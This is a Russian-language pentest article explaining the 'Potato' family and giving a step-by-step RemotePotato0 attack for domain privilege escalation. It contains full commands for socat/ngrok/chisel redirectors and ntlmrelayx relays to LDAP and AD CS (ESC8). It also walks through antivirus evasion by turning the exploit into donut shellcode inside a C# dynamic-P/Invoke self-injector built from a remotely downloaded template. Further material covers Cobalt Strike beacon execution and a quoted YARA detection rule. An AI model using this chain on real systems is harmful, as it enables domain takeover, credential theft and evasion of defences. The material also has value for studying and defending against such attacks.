Картошка-0. Повышаем привилегии в AD при помощи RemotePotato0
В этой статье мы поговорим о разных вариациях кросс‑протокольной атаки NTLM Relay с использованием эксплоита RemotePotato0, а также на этом примере обсудим, как можно спрятать сигнатуру исполняемого файла от статического анализа.
Эта история относится к категории «байки с внутренних пентестов», когда мы попали в среду Active Directory, где члены группы безопасности Domain Users (все пользователи домена) обладали привилегией для удаленного подключения к контроллерам домена по протоколу RDP. Хоть это уже само по себе ужасная «мисконфига», потенциальный злоумышленник все еще должен найти способ для локального повышения привилегий на DC, что проблематично, если на системе стоят все хотфиксы.
Здесь и приходит на помощь баг фича из серии Microsoft Won’t Fix List — кросс‑сессионное провоцирование вынужденной аутентификации по протоколу RPC. При отсутствии защиты службы LDAP от атак NTLM Relay оно мгновенно подарит тебе «ключи от королевства».
ПРЕДЫСТОРИЯ
Итак, внутренний пентест. Все по классике: только я, мой ноутбук, капюшон и маска Гая Фокса переговорка, скоммутированная розетка RJ-45 и просторы корпоративной сети жертвы аудита. Отсутствие правил фильтрации IPv6 в моем широковещательном домене — в роли уязвимости, отравленные пакеты DHCPv6 Advertise с link-local IPv6-адресом моего ноутбука (mitm6) — в роли атаки, и вот получен первоначальный аутентифицированный доступ в среду AD. Далее сбор дампа «блада» с помощью BloodHound.py, пока все как обычно.
Но вот то, что было дальше, повергло меня в шок... Оказалось, что все доменные «пользаки» могут коннектиться к контроллерам домена по RDP. Действительно, что может пойти не так?
В этот момент можно начинать потирать руки в предвкушении кредов доменадмина. Убедимся, что мы можем релеить Net-NTLMv2-аутентификацию на службы LDAP(S) с помощью LdapRelayScan.
~$ python3 LdapRelayScan.py -method BOTH -dc-ip -u -p
Неудивительно, что LDAP Signing (защита LDAP, 389/TCP) и LDAP Channel Binding (защита LDAPS, 636/TCP) отключены, — еще мало кто осознал, что это мастхев-mitigations для AD в наше время.
А теперь по порядку, что со всем этим можно сделать.
НЕМНОГО О «КАРТОШКАХ»
RottenPotato & Co
В далеком 2016 году умные люди придумали RottenPotato — технику локального повышения привилегий с сервисных аккаунтов Windows (например, IIS APPPOOL\DefaultAppPool
или NT Service\MSSQL$SQLEXPRESS
), обладающих привилегией олицетворения чужих токенов безопасности (aka SeImpersonatePrivilege), до NT AUTHORITY\SYSTEM
.
Для этого атакующий должен был:
- Спровоцировать вынужденную аутентификацию со стороны
NT AUTHORITY\SYSTEM
на машине‑жертве через триггер API-ручки DCOM/RPCCoGetInstanceFromIStorage
в отношении локального слушателя (выступает в роли «человека посередине»). - Одновременно провести локальную атаку NTLM Relay на службу RPC (135/TCP) и дернуть API-вызов DCOM/RPC
AcceptSecurityContext
, передавая ему содержимое NTLM-части запроса Negotiate (NTLM Type 1) отNT AUTHORITY\SYSTEM
. - Подменить NTLM-челлендж (NTLM Type 2), исходящий от службы RPC (135/TCP), челленджем, полученным из ответа
AcceptSecurityContext
, и продолжить изначальный релей на RPC из шага 1. В этом контексте NTLM-ответ службы RPC (135/TCP) используется просто как шаблон сетевого ответа, в который мы инжектим нужное нам тело NTLM-челленджа. - После успешного получения NTLM-аутентификации (NTLM Type 3) клиента RPC из шага 1 в ответ на NTLM-челлендж (NTLM Type 2) из шага 3 зарелеить ее на RPC-ручку
AcceptSecurityContext
и получить токен системы. На этом NTLM Relay окончен. - Имперсонировать
NT AUTHORITY\SYSTEM
. Мы можем это сделать потому, что у нас есть привилегия SeImpersonatePrivilege.
Некоторое время спустя лавочку прикрыли, запретив DCOM/RPC общаться с локальными слушателями, — никаких тебе больше митмов. Но «картошки» все равно претерпевали изменения: были напилены LonelyPotato (неактуально) и JuicyPotato — улучшенная версия RottenPotato, умеющая работать с разными значениями CLSID (Class ID, идентификатор COM-класса) для «арбузинга» других служб (помимо BITS, которую использовала оригинальная «картошка»), в которых реализован интерфейс IMarshal для триггера NTLM-аутентификации.
JuicyPotato
В данном случае провоцирование NTLM-аутентификации в своей основе имеет принцип, схожий с вредоносной десериализацией объектов, только здесь это называется «анмаршалинг» — процесс восстановления COM-объекта из последовательности битов после его передачи в целевой метод в качестве аргумента.
Атакующий создает вредоносный COM-объект класса IStorage
и вызывает API CoGetInstanceFromIStorage
с указанием создать объект класса с конкретным идентификатором CLSID и инициализировать его состоянием из маршализированного вредоносного объекта. Одно из полей маршализированного объекта содержит указатель на подконтрольный атакующему слушатель, на который автоматически приходит отстук с NTLM-аутентификацией в процессе анмаршалинга.
public static void BootstrapComMarshal(int port)
{
IStorage stg = ComUtils.CreateStorage();
// Use a known local system service COM server, in this cast BITSv1
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
TestClass c = new TestClass(stg, String.Format("127.0.0.1[{0}]", port));
MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = ComUtils.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;
CoGetInstanceFromIStorage(null, ref clsid,
null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}
Подробнее о механизме триггера NTLM-аутентификации в ходе абьюза DCOM/RPC можно почитать в первом репорте Project Zero на эту тему.
RoguePotato
С релизом RoguePotato — эволюционировавшей версией JuicyPotato — был продемонстрирован альтернативный подход к имперсонации привилегированных системных токенов:
- Злоумышленник поднимает кастомный сервис OXID (Object Exporter ID) Resolver на локальном порте атакуемой машины, отличном от 135/TCP. OXID-резолвер используется в Windows для разрешения идентификатора вызываемого интерфейса RPC (в нашем случае подконтрольного аттакеру) в его имя, то есть в строку RPC-биндинга.
- Злоумышленник говорит службе DCOM/RPC машины‑жертвы постучаться на удаленный IP-адрес (контролируется атакующим) для резолва той самой OXID-записи. Это необходимо из‑за того, что в Microsoft запретили обращаться к локальным OXID-резолверам, слушающим не на порте 135/TCP.
- На том самом удаленном IP-адресе злоумышленник поднимает socat (или любой другой TCP-редиректор) на порте 135/TCP и «зеркалит» пришедший OXID-запрос на атакуемую машину в порт, на котором слушает кастомный сервис OXID Resolver из шага 1. А он уже резолвит предоставленный идентификатор в строку RPC-биндинга именованного канала
ncacn_np:localhost/pipe/RoguePotato[\pipe\epmapper]
. - Далее машина‑жертва наконец‑то делает вредоносный RPC-вызов (API-ручка
IRemUnkown2
) с подключением к подконтрольному атакующему пайпу из шага 3, что позволяет нам имперсонировать подключившийся клиент с помощьюRpcImpersonateClient
, как это описал @itm4n в судьбоносном ресерче PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019.
WWW
Potatoes — Windows Privilege Escalation — статья с хорошим описанием всех «картошек» и таймлайном их появления.
REMOTEPOTATO0
Введение
RemotePotato0 — успешный результат попытки расширить область применения RoguePotato для проведения атак на доменные учетные записи.
Работает это примерно так же, как и RoguePotato, за исключением того, что теперь мы используем другие службы (с другими значениями CLSID), чтобы триггерить NTLM-аутентификации от имени пользователей, сессии которых существуют на атакуемой машине одновременно с нашей. Первоначальный вариант эксплоита работал только при условии действия атакующего из так называемого нулевого сеанса.
Session 0 Isolation
Session 0 Isolation — концепция разделения сессий пользователей и сессий системных служб и неинтерактивных приложений. Начиная с Windows Vista, все пользователи, подключаясь к машине удаленно по протоколу RDP, проваливаются в свою сессию, откуда не могут взаимодействовать с процессами, запущенными в других сессиях, если не обладают правами локального администратора. Однако если пользователь подключен через службу WinRM (Windows Remote Management, 5985–5986/TCP) или SSH, то он проваливается непосредственно в нулевой сеанс, так как сами указанные службы существуют именно там.
Наглядный пример: пользователь TINYCORP\j.doe
в моей лабе не имеет прав локаладмина на сервере TEXAS, поэтому не может видеть запущенных от имени администратора процессов Google Chrome, будучи подключенным по RDP. Однако, если открыть диспетчер задач с правами администратора, эти процессы будут отображены.
С другой стороны, если я включу этого пользователя в локальную группу Remote Management Users на этом сервере и подключусь к нему с помощью Evil-WinRM, я окажусь в контексте Session 0, по‑прежнему не обладая правами локаладмина.
Это не означает, что я теперь могу делать с процессами в других сессиях все, что захочу, однако открывает интересные возможности в плане взаимодействия с ними через DCOM/RPC.
То есть в ситуации, когда у нас есть пользователь с правами подключения к серверам в контексте нулевого сеанса через WinRM или SSH (то есть входящий в группу Remote Management Users), но не обладающий правами локального администратора (в противном случае мы можем просто сдампить LSASS для получения нужных кредов), можно было использовать трюк с RemotePotato0 при условии существования на атакуемом сервере сессий привилегированных пользователей. По словам автора эксплоита, в этом случае при триггере NTLM-аутентификации через определенный CLSID мы сможем угнать контекст сессии с наименьшим значением ее идентификатора:
If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id).
Понятно, что при таком раскладе область применимости RemotePotato0 была не очень широкой, поэтому хайпа вокруг метода было немного.
Спустя некоторое время эксплоит, ко всеобщей радости, обновился и стал поддерживать функции кросс‑сессионного триггера NTLM-аутентификации: это означает, что, действуя даже в рамках сессии номер 1 из RDP, мы можем дернуть привилегированный контекст администратора, также залогиненного в RDP, но в сессии номер 2.
И вот это уже было прямо пушкой!
Как работает и когда использовать
Перед переходом к практике суммируем наши знания о RemotePotato0.
Условия применимости атаки, или чем нам нужно обладать:
- Скомпрометированная доменная УЗ, имеющая привилегии подключения к удаленному серверу по протоколу RDP, где потенциально могут тусить привилегированные пользователи. На самом деле это условие встречается практически везде, так как везде есть терминальники, куда время от времени заглядывают доменадмины.
- Подконтрольный атакующему хост в интранете, имеющий сетевую связанность по порту 135/TCP с атакуемым сервером (от этого условия мы избавимся далее).
- Незащищенный эндпоинт с доменной аутентификацией, куда можно релеить Net-NTLMv2-аутентификацию, прилетевшую на наш HTTP-сервер. Идеальный вариант — службы LDAP(S) или стандартное веб‑приложение корпоративного центра сертификации Microsoft AD CS.
- Возможность исполнения эксплоита RemotePotato0 на атакуемом сервере в обход средств антивирусной защиты.
- Действуя из сессии непривилегированного пользователя, подключенного по RDP к серверу, где есть сессия привилегированного (или любого другого интересующего нас) доменного пользователя, атакующий триггерит NTLM-аутентификацию от имени жертвы через анмаршалинг вредоносного объекта COM-класса
IStorage
посредством передачи его в качестве аргумента в API-хендлCoGetInstanceFromIStorage
. Во вредоносном объекте живет IP-адрес и порт подконтрольного атакующему сетевого узла, куда позже прилетит NTLM-аутентификация. - На своем сервере атакующий зеркалит трафло, пришедшее на порт 135/TCP, обратно на атакуемую машину в порт, где уже поднят фейковый OXID-резолвер, который отдает запросу DCOM нужный RPC-биндинг.
- Частично повторяется шаг 4 из описания работы RoguePotato: вызов
IRemUnknown2::RemRelease
в отношении локального RPC-сервера, инкапсуляция RPC-запроса с NTLM-аутентификацией в HTTP и перенаправление его на наш HTTP-сервер. Последний уже поднят на машине атакующего в виде инстанса ntlmrelayx.py. - Проведение кросс‑протокольной атаки NTLM Relay на незащищенный эндпоинт с доменной аутентификацией. В этом случае атакующий может добавить подконтрольного ему доменного пользователя в привилегированные доменные группы безопасности, настроить ограниченное делегирование на основе ресурсов RBCD Abuse для критических доменных ресурсов или использовать любой другой поддерживаемый вектор атаки ntlmrelayx.py.
Сферические примеры в вакууме
Прежде чем говорить об уклонении от AV и других апгрейдах, посмотрим на атаку при отключенных средствах защиты, чтобы понимать, какого результата нам ожидать.
Я загружу свежий релиз RemotePotato0 и распакую его прямо на целевом сервере.
PS > curl https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip -o RemotePotato0.zip
PS > Expand-Archive .\RemotePotato0.zip -DestinationPath .
PS > ls .\RemotePotato0*
PS > .\RemotePotato0.exe
Как можно видеть из справки, в нашем распоряжении несколько режимов атаки: можно либо отправить аутентификацию на relay-сервер для ее перенаправления на другой эндпоинт (режим 0, по умолчанию), либо получить значение хеша Net-NTLMv2 для его офлайнового перебора (режим 2). Режимы 1 и 3 предназначены для триггера NTLM-аутентификации вручную, без «картошки», поэтому нам это не очень интересно.
Для разминки сперва попробуем режим 2:
-m
— режим атаки;-x
— IP-адрес TCP-редиректора, который отзеркалит OXID-резолв обратно машине‑жертве на порт, указанный в опции-p
(если бы я использовал Windows Server 2012, можно было бы обойтись без этой опции, поскольку на нем нет фиксов, запрещающих резолв OXID-запросов через нестандартные порты);-p
— порт фейкового локального OXID-резолвера, куда OXID-запрос будет отзеркален машиной атакующего;-s
— номер сессии пользователя, которого мы хотим олицетворить.
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9998
PS > .\RemotePotato0.exe -m 2 -x -p 9998 -s
Как видим, мы успешно получили значение хеша Net-NTLMv2, который теперь можно спокойно брутить в офлайне (режим 5600
hashcat тебе в помощь). Это полноценная замена атаки Internal Monologue, не требующая к тому же прав локального администратора.
Теперь перейдем к релею на LDAP. Опции те же самые, только добавим флаг -r
, задающий IP-адрес HTTP-сервера атакующего, который проведет NTLM Relay.
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9998
~$ sudo ntlmrelayx.py -t ldap:// --no-smb-server --no-wcf-server --no-raw-server --escalate-user
PS > .\RemotePotato0.exe -m 0 -r -x -p 9998 -s
Вжух, и одной командой мы энтырпрайз одмены!
БОЕВАЯ ПРАКТИКА
Это все, конечно, здорово, но совсем не жизненно.
Усложним задачу: нужно провести ту же атаку при активном дефендере и не обладая вспомогательной машиной на Linux, на которой поднимается TCP-редиректор (допустим, мы проломили внешний периметр и оказались внутри корпоративной инфраструктуры с сессией Cobalt Strike).
Уклоняемся от AV
Судя по моему опыту, большинство аверов детектят RemotePotato0.exe, основываясь исключительно на сигнатурном анализе:
rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}
Есть несколько возможных решений этой проблемы:
- Упаковать RemotePotato0.exe с помощью какого‑нибудь архиватора/энкодера/шифратора.
- Выдернуть шелл‑код из исполняемого файла и внедрить его в процесс из памяти.
На самом деле второй способ — это оверкилл, потому что против Windows Defender работает даже упаковка UPX’ом.
Но мы можем лучше: второй способ не потребует даже загружать исполняемый файл эксплоита на диск, поэтому выбираем этот метод.
Помимо D/Invoke, существует еще один интересный способ обфускации вызовов Win32 API при написании эксплоитов на C#. Он освещен в статье Unmanaged Code Execution with .NET Dynamic PInvoke.
Суть проста: в C# существует нативный механизм System.Reflection.Emit, позволяющий на лету создавать сборки .NET и исполнять их с помощью механизма Reflection.Assembly
из памяти прямо в рантайме. Используя этот механизм, мы можем так же на лету строить обертки для вызовов Win32 API, не прибегая к статическим декларациям P/Invoke.
Пример определения функции CreateThread
, дергающей одноименную ручку API из kernel32.dll
:
class DPInvoke
{
static object DynamicPInvokeBuilder(Type type, string library, string method, object[] parameters, Type[] parameterTypes)
{
AssemblyName assemblyName = new AssemblyName("Temp01");
AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("Temp02");
MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, parameterTypes, CallingConvention.Winapi, CharSet.Ansi);
methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig);
moduleBuilder.CreateGlobalFunctions();
MethodInfo dynamicMethod = moduleBuilder.GetMethod(method);
object result = dynamicMethod.Invoke(null, parameters);
return result;
}
public static IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId)
{
Type[] parameterTypes = { typeof(IntPtr), typeof(uint), typeof(IntPtr), typeof(IntPtr), typeof(uint), typeof(IntPtr) };
object[] parameters = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };
var result = (IntPtr)DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "CreateThread", parameters, parameterTypes);
return result;
}
}
На основе примеров из статьи по ссылке выше я напилил шаблон для автоматизации создания self-инжекторов. Шелл‑коды генерируются из PE-файлов с помощью этого форка проекта donut.
Для компиляции .NET потребуется машина с Visual Studio.
~$ wget -q https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip
~$ unzip RemotePotato0.zip
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 2 -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>' -o RemotePotato0.bin
PS > $binaryName = "RemotePotato0"
PS > $bytes = [System.IO.File]::ReadAllBytes("$(pwd)\${binaryName}.bin")
PS > [System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
PS > $dStream = New-Object System.IO.Compression.DeflateStream($outStream, [System.IO.Compression.CompressionLevel]::Optimal)
PS > $dStream.Write($bytes, 0, $bytes.Length)
PS > $dStream.Dispose()
PS > $outBytes = $outStream.ToArray()
PS > $outStream.Dispose()
PS > $b64Compressed = [System.Convert]::ToBase64String($outBytes)
PS > $template = (New-Object Net.WebClient).DownloadString("https://gist.github.com/snovvcrash/30bd25b1a5a18d8bb7ce3bb8dc2bae37/raw/881ec72c7c310bc07af017656a47d0c659fab4f6/template.cs") -creplace 'DONUT', $b64Compressed
PS > $template -creplace 'NAMESPACE', "${binaryName}Inject" > ${binaryName}Inject.cs
PS > csc /t:exe /platform:x64 /out:${binaryName}Inject.exe ${binaryName}Inject.cs
PS > rm ${binaryName}Inject.cs
Протестим его в следующем разделе, когда решим проблему с TCP-редиректором.
ngrok + socat =
Допустим, мы получили «маячок» CS на уязвимом для атаки сервере, но у нас нет другого ресурса во внутренней сети жертвы, чтобы использовать его как зеркало для OXID-запросов.
Для имитации этой ситуации я врубил обратно «Дефендер», воспользовался своим волшебным инжектором с позаимствованной у @_RastaMouse техникой Module Stomping и получил сессию «Кобы».
Теперь немного pivoting: отсутствие вспомогательной машины я компенсирую тем, что подниму TCP-инстанс ngrok, который даст белый эндпоинт для общения с машиной атакующего (которая находится за пределами внутренней сети).
Так как мы не можем контролировать порт, который ngrok вешает на «белый» адрес (а нам нужен только 135/TCP), понадобится еще один редиректор. В его роли выступит socat на моей VDS (на атакуемом сервере должен быть доступ в интернеты, чтобы до него достучаться).
~$ nslookup
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::
Теперь я могу ловить на 136/TCP на машине атакера трафик, прилетевший с ngrok, и перенаправлять его обратно на жертву. В этом мне поможет SOCKS-прокся, развернутая «Кобой».
Эмпирическим путем было установлено, что проксю лучше поднимать в отдельном биконе, так как изначальная сессия начинает тупить, когда мы делаем execute-assembly
с нашим инжектором, который мы, кстати, так и не протестили. Исправим это (теперь надо только перегенерить шелл‑код с нужным IP VDS’ки в аргументе -x
).
beacon(1)> socks 1080
~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP::9998
beacon(2)> execute-assembly RemotePotato0Inject.exe
Но и это не предел наших возможностей — таким же способом можно зарелеить аутентификацию на LDAP. Для начала перегенерим шелл‑код с нужными нам аргументами (изменим режим в -m
и добавим адрес VDS в -r
).
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r -x -p 9998 -s ' -o RemotePotato0.bin
К сожалению, в бесплатной версии ngrok не получится одновременно поднять второй канал, поэтому я воспользуюсь Chisel для перенаправления HTTP-трафла. Откровенно говоря, можно было и первый редирект настроить через chisel и не юзать ngrok вообще.
beacon(1)> socks 1080
(ATTACKER) ~$ ngrok tcp 136
(VDS) ~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
(VDS) ~$ sudo ./chisel server -p 8000 --reverse --auth <USER>:<PASS>
(ATTACKER) ~$ ./chisel client --auth <USER>:<PASS> <VDS_IP>:8000 R:80:127.0.0.1:8080
(ATTACKER) ~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP:<VICTIM_INTERNAL_IP>:9998
(ATTACKER) ~$ sudo proxychains4 -q ntlmrelayx.py -t ldap://<DC_INTERNAL_IP> --http-port 8080 --no-smb-server --no-wcf-server --no-raw-server --escalate-user <PWNED_USER>
beacon(2)> execute-assembly RemotePotato0Inject.exe
И я снова энтерпрайз‑админ. Таким образом, мы скрафтили способ повышения привилегий с помощью RemotePotato0 без использования вспомогательного хоста на внутреннем периметре!
БОНУС #1. РЕЛЕЙ НА AD CS (ESC8)
Если релеить на LDAP(S) не получается, но в домене есть незащищенный эндпоинт Web Enrollment центра сертификации AD CS, можно провернуть вариацию атаки ESC8 (за подробностями идем в ресерч Certified Pre-Owned).
Чтобы релей сработал в этом случае, может потребоваться поиграть с разными значениями CLSID, которые можно указать через аргумент -c
. Захардкоженное значение {5167B42F-C111-47A1-ACC4-8EABE61B0B54}
не сработает из‑за того, что разные службы (с разными CLSID) используют разные уровни аутентификации при их триггере по RPC (определяется значением этих констант). То, что работает при релее на LDAP, может не сработать при релее на SMB/HTTP (в случае ESC8 релеим именно на HTTP).
Так вот, опять же эмпирическим путем выяснено, что для ESC8 подходит служба CastServerInteractiveUser со значением CLSID {f8842f8e-dafe-4b37-9d38-4e0714a61149}
.
Продемонстрировать со скриншотом, к сожалению, не получится, поскольку в моей лабе сервер TEXAS и играет роль AD CS, а reflective-релей с самого себя не сработает.
Но в командах это должно было бы выглядеть примерно так.
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r -x -p 9998 -s -c {f8842f8e-dafe-4b37-9d38-4e0714a61149}' -o RemotePotato0.bin
~$ ntlmrelayx.py -t http:///certsrv/certfnsh.asp --no-smb-server --no-wcf-server --no-raw-server --adcs --template User
При успешной генерации сертификата от имени атакованного пользователя дальше действуем обычно, как это происходит после ESC8-атаки, а именно используем Rubeus (флаг /getcredentials
) или PKINITtools для получения TGT или NT-хеша жертвы.
БОНУС #2. REMOTEPOTATO БЕЗ REMOTEPOTATO0.EXE
В репозитории Impacket ждет своего часа pull request, избавляющий нас от необходимости тащить на атакуемый хост RemotePotato0.exe: триггер NTLM-аутентификации перенесли в этот форк SweetPotato, RPC-сервер реализовали в самом ntlmrelayx.py, а OXID-резолвер вынесли в отдельный скрипт rpcoxidresolver.py. Однако в этом случае самые вкусные функции не будут работать — триггерить NTLM-аутентификацию можно только от имени машинной УЗ, но не сквозь чужую сессию.
Я покажу способ вооружить и этот вариант атаки, имея под рукой только бикон «Кобы» и инстанс VDS, через классическую реализацию RBCD-абьюза для пывна сервера, откуда прилетает аутентификация.
Для этого сначала определимся, что, куда и зачем мы редиректим:
- С помощью ngrok создаем TCP-канал извне до localhost:135. Так как RPC-сервер теперь крутится на машине атакующего, нам не нужно ничего зеркалить вторым socat — достаточно запустить rpcoxidresolver.py, который уже слушает localhost:135.
- С помощью Chisel пробрасываем порт 9997 с VDS на порт машины атакующего 9998, который слушает RPC-сервер ntlmrelayx.py. В качестве адреса RPC-сервера в rpcoxidresolver.py (опция
-rip
) указываем IP нашего VDS — это нужно для того, чтобы передать NTLM-аутентификацию в ntlmrelayx.py (при использовании адреса 127.0.0.1 эта конструкция работать отказывается). - ntlmrelayx.py пускаем через проксю CS для релея на службу LDAPS контроллера домена. Да, на LDAPS, потому что, применяя релей, мы хотим настроить делегирование относительно вспомогательной сервисной УЗ, которую нельзя создать по LDAP.
- Стреляем SweetPotato.exe из CS с триггером CLSID
{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}
, предлагаемого автором PR.
beacon(1)> socks 1080
(ATTACKER) ~135()
(VDS) ~ngroktcp135(VDS) sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::
(VDS) ~$ sudo ./chisel server -p 6666 --reverse --auth :
(ATTACKER) ~$ ./chisel client --auth : :6666 R:9997:127.0.0.1:9998
(ATTACKER) ~$ python examples/rpcoxidresolver.py -oip 127.0.0.1 -rip -rport 9997
(ATTACKER) ~$ proxychains4 -q python examples/ntlmrelayx.py -t ldaps:// --rpc-port 9998 -smb2support --no-smb-server --no-http-server --no-wcf-server --no-raw-server --no-da --no-acl --delegate-access
beacon(2)> execute-assembly SweetPotato.exe -e 1 -oip -c 42CBFAA7-A4A7-47BB-B422-BD10E9D02700
После этого, полагаю, не нужно объяснять, что делать дальше.
Получаем TGS-билет через транзитные расширения Kerberos (S4U2Self & S4U2Proxy) с опцией имперсонации пользователя administrator (getST.py) и фигачим secretsdump.py/wmiexec.py, чтобы извлечь секреты LSA или получить шелл на сервере.
Прикольный вариант атаки, но протащить и выполнить оригинальный бинарь, как мы показали ранее, тоже не составляет большого труда.